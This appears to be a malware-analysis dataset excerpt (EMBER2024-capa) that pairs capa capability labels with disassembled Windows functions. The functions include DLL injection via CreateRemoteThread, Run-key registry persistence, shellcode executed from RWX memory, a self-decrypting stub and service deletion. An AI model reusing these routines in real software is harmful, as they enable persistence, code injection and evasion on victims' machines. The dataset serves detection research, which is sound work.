joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403319
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42a004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
lea edi, [ebp - 0x20]
push 7
xor eax, eax
xor ebx, ebx
pop ecx
rep stosd dword es:[edi], eax
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x40333f
sub ecx, edx
sar ecx, 1
jne 0x403357
xor al, al
jmp 0x4033d7
xor eax, eax
inc eax
push eax
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
je 0x4033d5
push 0x10024
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
jne 0x403380
mov bl, 1
jmp 0x4033c5
lea eax, [ebp - 0x20]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x4033b3
jmp 0x4033a4
cmp dword [ebp - 0x1c], 3
jne 0x4033b3
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x403393
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
movzx ebx, bl
push 1
pop eax
cmovne ebx, eax
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
test esi, esi
je 0x4033d5
push esi
call edi
mov al, bl
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004044ac
mov esp, ebp
pop ebp
ret

Function at 0x4033e8
Capabilities:
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x42a004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 7
mov ebx, ecx
lea edi, [ebp - 0x20]
pop ecx
xor eax, eax
push 1
push eax
rep stosd dword es:[edi], eax
push eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
test esi, esi
je 0x403484
push 0x10024
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
je 0x403474
lea eax, [ebp - 0x20]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x403463
mov ebx, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
jmp 0x403450
cmp eax, 3
jne 0x40345e
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x20]
push eax
push edi
call ebx
test eax, eax
mov eax, dword [ebp - 0x1c]
jne 0x403443
cmp eax, 1
jne 0x403474
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
xor eax, eax
inc eax
jmp 0x403487
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
test edi, edi
je 0x403484
push edi
call esi
or eax, 0xffffffff
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004044ac
mov esp, ebp
pop ebp
ret
Function at 0x4036cb
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x200c
call fcn.0041b920
mov eax, dword [0x42a004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 0x2004]
push edi
mov edi, 0x2000
xor ebx, ebx
push edi
push ebx
push eax
call fcn.00406f80
add esp, 0xc
mov dword [ebp - 0x2008], edi
lea eax, [ebp - 0x200c]
mov dword [ebp - 0x200c], ebx
push eax
push 1
push ebx
push 0x535bb8
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x403732
or eax, 0xffffffff
jmp 0x4037b7
lea eax, [ebp - 0x2008]
push eax
lea eax, [ebp - 0x2004]
push eax
push ebx
push ebx
push 0x535cb8
push dword [ebp - 0x200c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x200c]
test eax, eax
je 0x403765
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x40372a
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x2008]
mov eax, ebx
shr ecx, 1
je 0x40379b
cmp word [ebp + eax*2 - 0x2004], bx
jne 0x403796
push 0xd
pop edx
mov word [ebp + eax*2 - 0x2004], dx
cmp word [ebp + eax*2 - 0x2002], bx
je 0x40379b
inc eax
cmp eax, ecx
jb 0x403777
lea edx, [ebp - 0x2004]
mov eax, edx
sub esi, eax
movzx ecx, word [edx]
mov word [esi + edx], cx
lea edx, [edx + 2]
test cx, cx
jne 0x4037a5
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004044ac
mov esp, ebp
pop ebp
ret
Function at 0x4037c8
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2010
call fcn.0041b920
mov eax, dword [0x42a004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
xor eax, eax
push esi
push edi
mov edi, dword [ebp + 0xc]
mov esi, edx
push 0x2000
push eax
mov dword [ebp - 0x200c], eax
lea eax, [ebp - 0x2004]
push eax
mov dword [ebp - 0x2010], ebx
call fcn.00406f80
add esp, 0xc
lea eax, [ebp - 0x2008]
push eax
push 2
xor eax, eax
push eax
push esi
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x403831
or eax, 0xffffffff
jmp 0x4038fc
lea edx, [ebp - 0x2004]
mov ecx, edi
sub edx, edi
movzx eax, word [ecx]
mov word [edx + ecx], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x40383b
cmp dword [ebp + 0x10], 7
jne 0x4038ae
mov ecx, edi
xor eax, eax
mov edx, eax
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, word [ebp - 0x200c]
jne 0x403859
sub ecx, esi
sar ecx, 1
je 0x4038ae
xor ebx, ebx
cmp word [ebp + edx*2 - 0x2004], 0xd
jne 0x40388f
xor eax, eax
mov word [ebp + edx*2 - 0x2004], ax
cmp word [ebp + edx*2 - 0x2002], bx
je 0x4038a8
mov ecx, edi
inc edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x403895
sub ecx, esi
sar ecx, 1
cmp edx, ecx
jb 0x403870
mov ebx, dword [ebp - 0x2010]
lea ecx, [edi + 2]
xor edx, edx
mov ax, word [edi]
add edi, 2
cmp ax, dx
jne 0x4038b3
sub edi, ecx
sar edi, 1
lea eax, [edi*2 + 2]
push eax
lea eax, [ebp - 0x2004]
push eax
push dword [ebp + 0x10]
push edx
push ebx
push dword [ebp - 0x2008]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x4038eb
or esi, 0xffffffff
jmp 0x4038ee
xor esi, esi
inc esi
push dword [ebp - 0x2008]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004044ac
mov esp, ebp
pop ebp
ret
Function at 0x403f86
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x125c
call fcn.0041b920
mov eax, dword [0x42a004]
xor eax, esp
mov dword [esp + 0x1258], eax
push ebx
push esi
push edi
mov edi, 0x800
lea eax, [esp + 0x260]
push edi
xor ebx, ebx
mov esi, ecx
push ebx
push eax
call fcn.00406f80
push edi
lea eax, [esp + 0xa70]
push ebx
push eax
call fcn.00406f80
add esp, 0x18
lea eax, [esp + 0x260]
push 0x400
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x427d6c
lea eax, [esp + 0x264]
push eax
lea eax, [esp + 0xa68]
push 0x427d74
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0xa64]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
or edi, 0xffffffff
cmp eax, edi
jne 0x404025
mov eax, edi
jmp 0x404068
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push ebx
push 0x80
push 3
push ebx
push ebx
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, edi
je 0x404021
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
mov ecx, dword [esp + 0x1264]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004044ac
mov esp, ebp
pop ebp
ret

Function at 0x40407d
Capabilities:
Encode data using xor
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1008
call fcn.0041b920
mov eax, dword [0x42a004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov esi, 0x800
lea eax, [ebp - 0x1004]
xor edi, edi
push esi
push edi
push eax
mov dword [ebp - 0x1008], edi
call fcn.00406f80
push esi
lea eax, [ebp - 0x804]
push edi
push eax
call fcn.00406f80
add esp, 0x18
lea eax, [ebp - 0x1004]
push 0x400
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x427d80
mov esi, 0x535db8
push esi
call fcn.00406a55
pop ecx
pop ecx
test eax, eax
je 0x404105
mov ecx, edi
movzx eax, word [ecx + 0x535db8]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x806], ax
test ax, ax
jne 0x4040ec
jmp 0x404122
push esi
lea eax, [ebp - 0x1004]
push eax
lea eax, [ebp - 0x804]
push 0x427d74
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push edi
push edi
push 2
push edi
push edi
push 0x40000000
lea eax, [ebp - 0x804]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x404146
or eax, 0xffffffff
jmp 0x4041a0
mov eax, edi
mov ecx, 0x109e00
movups xmm0, xmmword [eax + 0x42a870]
pxor xmm0, xmmword [0x427dd0]
movups xmmword [eax + 0x42a870], xmm0
add eax, 0x10
cmp eax, ecx
jl 0x40414d
push edi
lea eax, [ebp - 0x1008]
push eax
push ecx
push 0x42a870
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
test eax, eax
jne 0x40418c
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x404141
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x804]
call fcn.00403f86
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004044ac
mov esp, ebp
pop ebp
ret
Function at 0x40447f
Capabilities:
Create thread

Disassembly:
push ebx
push edi
xor ebx, ebx
mov edi, 0x4036aa
push ebx
push ebx
push ebx
push edi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.004041b0
push ebx
push ebx
push ebx
push edi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
xor eax, eax
pop ebx
ret 0x10
Function at 0x6f941323
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x448
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x114]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp + 4], 0x5c
lea eax, [ebp - 0x114]
mov dword [esp], eax
call sym._strrchr
mov dword [ebp - 0xc], eax
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x218]
mov dword [esp], eax
call sym._strcpy
lea eax, [ebp - 0x114]
mov dword [esp + 4], eax
lea eax, [ebp - 0x31c]
mov dword [esp], eax
call sym._strcpy
mov dword [esp + 4], 0x5c
lea eax, [ebp - 0x31c]
mov dword [esp], eax
call sym._strrchr
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov byte [eax], 0
lea eax, [ebp - 0x420]
mov dword [eax], 0x74666f53
mov dword [eax + 4], 0x65726177
mov dword [eax + 8], 0x63694d5c
mov dword [eax + 0xc], 0x6f736f72
mov dword [eax + 0x10], 0x575c7466
mov dword [eax + 0x14], 0x6f646e69
mov dword [eax + 0x18], 0x435c7377
mov dword [eax + 0x1c], 0x65727275
mov dword [eax + 0x20], 0x6556746e
mov dword [eax + 0x24], 0x6f697372
mov dword [eax + 0x28], 0x75525c6e
mov word [eax + 0x2c], 0x6e
lea eax, [ebp - 0x424]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
lea eax, [ebp - 0x420]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x6f941458
mov dword [esp], str.Error:_Can_not_open_the_registry_key.
call sym._puts
jmp 0x6f9414c9
lea eax, [ebp - 0x114]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0x424]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x114]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
lea edx, [ebp - 0x218]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x6f9414b8
mov dword [esp], str.Error:_Can_not_add_the_value_to_the_registry_key.
call sym._puts
jmp 0x6f9414c9
mov eax, dword [ebp - 0x424]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
leave
ret
Function at 0x6f941535
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [ebp - 0xc], eax
mov dword [esp], str.kernel32.dll
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 4], str.LoadLibraryA
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0x14], eax
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x18], eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x18]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov dword [esp + 0xc], 0x8000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x6f941685
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x6f9416cb
mov dword [esp], str.malloc_failed
call sym._puts
mov eax, 0
jmp 0x6f941714
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0xc], eax
je 0x6f941711
mov dword [esp], str.ReadFile_failed
call sym._puts
mov eax, 0
jmp 0x6f941714
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x6f9417a7
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0xc]
call eax
nop
leave
ret

Function at 0x6f941ba0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6f94603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x6f946034]
sub esp, 4
test ebx, ebx
je 0x6f941beb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x6f941be4
test esi, esi
je 0x6f941be4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6f941bc0
mov dword [esp], 0x6f94603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x6f941dd0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x6f94419c
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x6f941e20
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x6f941ef8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x6f941e5e
cmp eax, 4
jne 0x6f941e80
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x6f941e6e
cmp edx, 4
je 0x6f941e6e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.6f941dd0
Function at 0x405f04
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422254], 0
push esi
jne 0x405f3b
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405f15
mov dword [ecx*4 + 0x422250], eax
inc ecx
cmp ecx, 0x100
jl 0x405f10
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405f6c
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422250]
xor eax, esi
inc ecx
dec edx
jne 0x405f4e
pop edi
not eax
pop esi
ret 0xc

Function at 0x40892e
Capabilities:
Encode data using xor

Disassembly:
push 0x4085d8
pop esi
call fcn.0040895e
xor dword [edx], esi
sub ebx, ecx
push 0x656e82a6
pop ebx
add edx, 1
sub ebx, ecx
add ebx, 1
cmp edx, edi
jne fcn.0040892e
and ebx, ecx
sub ecx, 1
ret
Function at 0xab0840
Capabilities:
Decompress data using aplib

Disassembly:
call 0xab0990
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xab0866
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xab0852
add dl, dl
jne 0xab0871
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xab08c4
xor eax, eax
add dl, dl
jne 0xab087e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xab0965
add dl, dl
jne 0xab088d
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xab0898
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xab08a3
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xab08ae
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xab08ba
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xab085d
mov eax, 1
add dl, dl
jne 0xab08d2
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xab08dd
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xab08c9
sub eax, ebx
mov ebx, 1
jne 0xab0910
mov ecx, 1
add dl, dl
jne 0xab08f6
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xab0901
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xab08ed
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xab085d
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xab0927
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xab0932
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xab091e
cmp eax, 0x7d00
jae 0xab0955
cmp eax, 0x500
jb 0xab0950
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xab085d
cmp eax, 0x7f
ja 0xab0958
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xab085d
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xab0986
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xab085d
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x4072ad
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x46bc7c], 0
jne 0x4072eb
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4072c1
mov dword [ecx*4 + 0x46bc78], eax
inc ecx
cmp ecx, 0x100
jl 0x4072bc
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x407318
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x46bc78]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x4072f9
not eax
pop ebp
ret 0xc

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40b5ef
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
xor edx, edx
mov ecx, dword [ebp + 0xc]
and eax, 3
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, edx
sub ecx, eax
je 0x40b639
rol edx, 5
xor edx, dword [esi + ebx]
add esi, 4
imul eax, edx, 0x9e3779b9
rol eax, 5
xor eax, 4
imul edx, eax, 0x9e3779b9
cmp esi, ecx
jb 0x40b608
jmp 0x40b639
movsx ecx, byte [esi + ebx]
rol edx, 5
xor edx, ecx
imul edx, edx, 0x9e3779b9
inc esi
cmp esi, dword [ebp + 0xc]
jb 0x40b629
pop esi
mov eax, edx
pop ebx
pop ebp
ret

Function at 0x40c55c
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 1
lea esi, [ebx - 1]
push 0x2000
not esi
push ebx
and esi, 0xf0deafff
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
cmp edi, esi
jne 0x40c591
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp esi, dword [ebp - 0x18]
jb 0x40c5bb
lea eax, [esi + ebx]
cmp eax, dword [ebp - 0x18]
jb 0x40c5bb
test edi, edi
je 0x40c588
push 0x8000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x40c588
test edi, edi
je 0x40c5c3
mov eax, edi
jmp 0x40c58a
push 1
push 0x2000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x40c58a
mov esi, 0xc3
push esi
push str.c:_builds_moz2_slave_autoland_w32_d_000000000000000_build_src_mfbt_Poison.cpp
push str.no_usable_poison_region_identified
call fcn.00410101
add esp, 0xc
int3
Function at 0x410135
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 8]
push eax
mov dword [sym.TestRollingMean.exe_gMozillaPoisonSize], eax
call fcn.0040c55c
pop ecx
mov ecx, dword [sym.TestRollingMean.exe_gMozillaPoisonSize]
mov dword [sym.TestRollingMean.exe_gMozillaPoisonBase], eax
test ecx, ecx
je 0x41016d
shr ecx, 1
dec ecx
add eax, ecx
mov dword [sym.TestRollingMean.exe_gMozillaPoisonValue], eax
mov esp, ebp
pop ebp
ret